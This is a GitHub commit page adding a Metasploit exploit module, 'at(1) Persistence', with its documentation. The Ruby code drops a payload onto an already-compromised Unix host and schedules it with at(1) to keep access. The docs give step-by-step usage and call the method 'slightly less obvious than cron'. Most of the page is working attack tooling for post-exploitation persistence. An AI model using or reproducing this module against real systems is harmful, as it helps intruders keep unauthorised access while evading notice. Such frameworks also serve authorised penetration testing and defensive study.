Skip to content

Commit 934b05e

Browse files
committed
Land rapid7#7310, at(1) persistence module
2 parents eeb1bdc + b65a62b commit 934b05e

File tree

2 files changed

+104
-0
lines changed

2 files changed

+104
-0
lines changed
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
## Vulnerable Application
2+
3+
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
4+
with any UNIX-like operating system with `atd` running. In the case of OS X, the `atrun` service must be launched:
5+
6+
```
7+
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
8+
```
9+
10+
## Verification Steps
11+
12+
1. Start msfconsole
13+
2. Exploit a box via whatever method
14+
3. Do: `use exploit/unix/local/at_persistence`
15+
4. Do: `set session #`
16+
5. Do: `set target #`
17+
6. `exploit`
18+
19+
20+
## Options
21+
22+
**TIME**
23+
24+
When to run job via at(1). Changing may require WfsDelay to be adjusted.
25+
26+
**PATH**
27+
28+
Path to store payload to be executed by at(1). Leave unset to use mktemp.
29+
30+
## Scenarios
31+
32+
This module is useful for running one-shot payloads with delayed execution.It is slightly less obvious than cron.
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'at(1) Persistence',
17+
'Description' => %q(
18+
This module achieves persisience by executing payloads via at(1).
19+
),
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[
23+
'Jon Hart <[email protected]>'
24+
],
25+
'Targets' => [['Automatic', {} ]],
26+
'DefaultTarget' => 0,
27+
'Platform' => %w(unix),
28+
'Arch' => ARCH_CMD,
29+
'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
30+
)
31+
)
32+
33+
register_options(
34+
[
35+
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])
36+
]
37+
)
38+
39+
register_advanced_options(
40+
[
41+
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])
42+
]
43+
)
44+
end
45+
46+
def check
47+
token = Rex::Text.rand_text_alphanumeric(8)
48+
if cmd_exec("atq && echo #{token}").include?(token)
49+
Exploit::CheckCode::Vulnerable
50+
else
51+
Exploit::CheckCode::Safe
52+
end
53+
end
54+
55+
def exploit
56+
unless check == Exploit::CheckCode::Vulnerable
57+
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
58+
end
59+
60+
unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
61+
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
62+
end
63+
64+
write_file(payload_file, payload.encoded)
65+
register_files_for_cleanup(payload_file)
66+
67+
cmd_exec("chmod 700 #{payload_file}")
68+
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
69+
70+
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
71+
end
72+
end

0 commit comments

Comments
 (0)